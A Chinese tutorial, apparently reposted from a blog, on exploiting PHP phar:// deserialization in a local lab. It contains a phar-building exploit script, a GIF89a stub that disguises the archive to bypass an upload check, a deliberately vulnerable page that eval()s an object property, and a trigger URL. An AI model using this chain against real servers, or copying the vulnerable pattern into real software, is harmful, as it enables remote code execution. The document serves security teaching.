php代码审计15.3之phar伪协议与反序列化

news2024/11/16 10:21:39

文章目录

  • 1、基础
  • 2、生成phar格式文件
  • 3、例子
  • 4、小试牛刀

1、基础

在漏洞的利用过程之中,我们需要先本地生成phar格式的文件,

而生成phar格式的文件,需要将php.ini中的phar.readonly配置项配置为0或Off。

目标服务器端是不必开启此配置,服务器仅仅是读取就可以触发漏洞

该配置默认为On

漏洞原因,

通过phar伪协议读取phar格式的文件,会自动反序列化文件内的代码

而很多的函数都是支持使用phar伪协议

在这里插入图片描述

漏洞限制,

~phar文件要能够上传到服务器端

~并且要有file_exists(),fopen(),file_get_contents(),file()等文件操作的函数且参数可控

~要有可用的魔术方法作为“跳板”

~文件操作函数的参数可控,且: / phar等特殊字符没有被过滤。

2、生成phar格式文件

先修改phar.readonly为Off,重启phpstudy,

在这里插入图片描述

3、例子

aaa.php
<?php
  class TestObject{
  function __destruct()
  {
    echo $this->data;
  }
  }

  include ('phar://xx.xx');
?>

根据示例代码,本地构造exp.php
<?php
class TestObject{
}
$phar = new Phar("phar.phar"); 	//实例一个phar对象供后续操作;
								//名称任意但是后缀必须是phar,否则会报错;比如
              	//$phar = new Phar("renyi.phar");
$phar -> startBuffering(); 			//开始缓冲对phar的写操作
$phar -> setStub("<?php __HALT_COMPILER();?>"); //设置识别phar拓展的标识stub


//下边两行就是根据示例代码产生的exp代码,、
//理论上别的代码不需要动,理解为固定格式即可
$o = new TestObject();
$o -> data = 'demoxbb';

$phar -> setMetadata($o); //将自定义的归档元数据meta-data存入manifest
$phar -> addFromString("test.txt","test"); //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering(); //停止缓冲对phar的写操作
?>

访问生成phar.phar文件

在这里插入图片描述

以二进制模式打开该文件,

在这里插入图片描述

因为aaa.php内phar协议读取的文件是xx.xx,所以我们将phar.phar文件改名为xx.xx,

访问aaa.php文件,内容被反序列化,

在这里插入图片描述

4、小试牛刀

上边的示例,服务端写死读取文件为xx.xx

实际之中,可能存在的是以下demo,

file_un.php

(存在file_exists(),并且存在__destruct(),漏洞点)
<?php
$filename=$_GET['filename'];

class AnyClass{
  var $output = 'echo "ok";';
  function __destruct()
  {
  	eval($this -> output);
  }
  }

file_exists($filename); 	// 漏洞点
?>

upload_file.php

看到后端处理上传的文件,校验了上传的文件是不是gif
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];
    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
    {
        echo $_FILES["file"]["name"] . " already exists. ";
    }
    else
    {
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
}

else
{
    echo "Invalid file,you can only upload gif";
}

先构造payload文件,exp.php内容如下

<?php
class AnyClass{
}
$phar = new Phar("xxx.phar"); 	//实例一个phar对象供后续操作 
$phar -> startBuffering(); 			//开始缓冲对phar的写操作
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');


//下边两行就是根据示例代码产生的exp代码,
$o = new AnyClass();
$o -> output = 'phpinfo();';

$phar -> setMetadata($o); //将自定义的归档元数据meta-data存入manifest
$phar -> addFromString("test.txt","test"); //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering(); //停止缓冲对phar的写操作
?>

在这里插入图片描述

将生成的xxx.phar修改名称为"xbb.gif",

然后构造上传html文件,

upload_file.html:
<body>
<form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data">
 <input type="file" name="file" />
 <input type="submit" name="Upload" />
</form>
</body>
上传成功,到网站upload_file目录下(需要手动创建该目录,否则会报错)

在这里插入图片描述

然后,使用伪协议包含上传的phar文件,这个phar://不要漏写,

http://127.0.0.1/file_un.php?filename=phar://upload_file/xbb.gif

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/757454.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

设计模式07-责任链模式

责任链模式属于行为设计模式&#xff0c;常见的过滤器链就是使用责任链模式设计的。 文章目录 1、真实开发场景的问题引入2、责任链模式讲解2.1 核心类及类图2.2 基本代码 3、利用构建者模式解决问题4、责任链模式的应用实例5、总结5.1 解决的问题5.2 使用场景5.3 优缺点 1、真…

计算机的工作原理(操作系统篇)

文章目录 1.操作系统的定位1.硬件2.驱动3.操作系统内核4.系统调用 2.进程3.PCB中有哪些描述进程的特征4.内存管理 1.操作系统的定位 先看一张图: 1.操作系统是最接近硬件的软件,是软件/硬件/用户之间交互的媒介; 2.操作系统起到一个管理的作用 1)对下,要管理硬件设备 2)对上,…

【100天精通python】Day4:运算符

目录 1 算数运算符 2 赋值运算符 3 比较&#xff08;关系运算符&#xff09; 4 逻辑运算符 5 位运算符 6 运算符的优先级 以下是一个完整的示例代码&#xff0c;用于计算学生三科成绩的分差和平均分&#xff1a; 1 算数运算符 Python中的算术运算符包括&#xff1a; 加…

如何在pd里设置win10虚拟机command+w关闭chrome浏览器的一个标签页

背景 在windows&#xff0c;我们知道 ctrlw 在chrome浏览器里可以关闭一个标签页&#xff0c;但是对于MacOS&#xff0c;pd的虚拟机里安装win10后&#xff08;pdparallel desktop)&#xff0c;commandw默认并不是料想中的相当于ctrlw关闭一个标签页&#xff0c;而是关闭所有的…

MPP概述

前言 最近忙于工作&#xff0c;有一段时间没更新自己的博客了&#xff0c;也就意味着囤积了一波需要梳理总结并记录的知识点&#xff0c;但可以保证的是所有都是零星的知识点&#xff0c;不会涉及工作内容。 一、MPP简介 MPP (Massively Parallel Processing)&#xff0c;即大…

Cisco学习笔记(CCNA)——Internetworking

Internetworking Internetworking Basics 什么是网络&#xff1f; 计算机网络&#xff1a;具有独立功能的多台计算机及其外部设备&#xff0c;通过通信线路连接起来 网络设备 Hub&#xff08;集线器&#xff09; 优点&#xff1a;便宜、操作简单 缺点&#xff1a;共享型、…

Set与Map的使用 + 二叉搜索树与哈希桶的大白话讲解和图解+完整代码实现(详细注释)

文章目录 前言一、Set与Map概念及场景模型纯Key模型Key-Value模型 Map 的使用Set 的使用 二、二叉搜索树什么是二叉搜索树代码实现二叉搜索树查找操作插入操作删除操作(难点)cur这个节点没有左子树(cur.left null)cur这个节点没有右子树(cur.right null)cur这个节点没有左右子…

springboot与rabbitmq的整合【演示5种基本交换机】

前言&#xff1a; &#x1f44f;作者简介&#xff1a;我是笑霸final&#xff0c;一名热爱技术的在校学生。 &#x1f4dd;个人主页&#xff1a;个人主页1 || 笑霸final的主页2 &#x1f4d5;系列专栏&#xff1a;后端专栏 &#x1f4e7;如果文章知识点有错误的地方&#xff0c;…

基于梯度下降的线性回归(Gradient Descent For Linear Regression)

概述&#xff1a; 梯度下降是很常用的算法&#xff0c;它不仅被用在线性回归上和线性回归模型、平方误差代价函数。在本次&#xff0c;我们要将梯度下降和代价函数结合。我们将用到此算法&#xff0c;并将其应用于具体的拟合直线的线性回归算法里。 梯度下降算法和线性回归算法…

Cell 子刊 | 深度睡眠脑电波调节胰岛素敏感性促进血糖调节

缺乏高质量的睡眠会增加一个人患糖尿病的风险。然而&#xff0c;为什么会这样仍然是一个不解之谜。 近期&#xff0c;加州大学伯克利分校的一组睡眠科学家的新发现为我们揭示了答案。研究人员在人体内发现了一种潜在的调控机制&#xff0c;解释了为什么夜间深度睡眠脑电波能够调…

数据结构(王道)——线性表之静态链表顺序表和链表的比较

一、静态链表 定义&#xff1a; 代码实现&#xff1a; 如何定义一个静态链表 静态链表的基本操作思路&#xff1a; 初始化静态链表&#xff1a; 静态链表的查找、插入、删除 静态链表总结&#xff1a; 二、顺序表和链表的比较 逻辑结构对比&#xff1a; 存储结构对比&#xff…

golang关于成员变量使用:=

错误 错误原因 结构体成员变量不能与:一起用&#xff0c;这是一个语法错误。

Mybatis架构简介

文章目录 1.整体架构图2. 基础支撑层2.1 类型转换模块2.2 日志模块2.3 反射工具模块2.4 Binding 模块2.5 数据源模块2.6缓存模块2.7 解析器模块2.8 事务管理模块3. 核心处理层3.1 配置解析3.2 SQL 解析与 scripting 模块3.3 SQL 执行3.4 插件4. 接口层1.整体架构图 MyBatis 分…

SpringMVC【SpringMVC参数获取、SpringMVC处理响应】(二)-全面详解(学习总结---从入门到深化)

目录 SpringMVC参数获取_使用Servlet原生对象获取参数 SpringMVC参数获取_自定义参数类型转换器 SpringMVC参数获取_编码过滤器 SpringMVC处理响应_配置视图解析器 SpringMVC处理响应_控制器方法的返回值 SpringMVC处理响应_request域设置数据 SpringMVC处理响应_sessi…

【动手学深度学习】--02.Softmax回归

文章目录 Softmax回归1.原理1.1 从回归到多类分类1.2三种常见的损失函数 2.图像分类集2.1读取数据集2.2读取小批量2.3整合组件 3.从零实现Softmax回归3.1初始化模型参数3.2定义softmax操作3.3定义模型3.4定义损失函数3.5分类精度3.6训练3.7预测 4.softmax回归的简洁实现4.1初始…

计网笔记--应用层

1--网络程序的组织方式和关系 网络应用程序在各种端系统上的组织方式及其关系主要有两种&#xff1a; 客户/服务器方式&#xff08;C/S方式&#xff09;和对等方式&#xff08;P2P方式&#xff09;&#xff1b; 2--动态主机配置协议&#xff08;DHCP&#xff09; 动态主机配置协…

26 sigmoid Belief Network

文章目录 26 Sigmoid Belief Network26.1 背景介绍26.2 通过log-likelihood推断SBN的后验26.3 醒眠算法——Wake Sleep Algorithm 26 Sigmoid Belief Network 26.1 背景介绍 什么是Sigmoid Belief Network&#xff1f;Belief Network等同于Bayesian Network&#xff0c;表示有…

新手如何自学PostgreSQL(PG)

如果你是一个新手&#xff0c;想要自学PostgreSQL&#xff0c;下面是一些步骤和资源&#xff0c;可以帮助你入门&#xff1a; ①了解数据库基础知识&#xff1a;在开始学习PostgreSQL之前&#xff0c;建议你先了解一些数据库的基础概念和术语&#xff0c;例如表、列、行、SQL查…

【Elasticsearch】搜索结果处理和RestClient查询文档

目录 2.搜索结果处理 2.1.排序 2.1.1.普通字段排序 2.1.2.地理坐标排序 2.2.分页 2.2.1.基本的分页 2.2.2.深度分页问题 2.2.3.小结 2.3.高亮 2.3.1.高亮原理 2.3.2.实现高亮 2.4.总结 3.RestClient查询文档 3.1.快速入门 3.1.1.发起查询请求 3.1.2.解析响应 …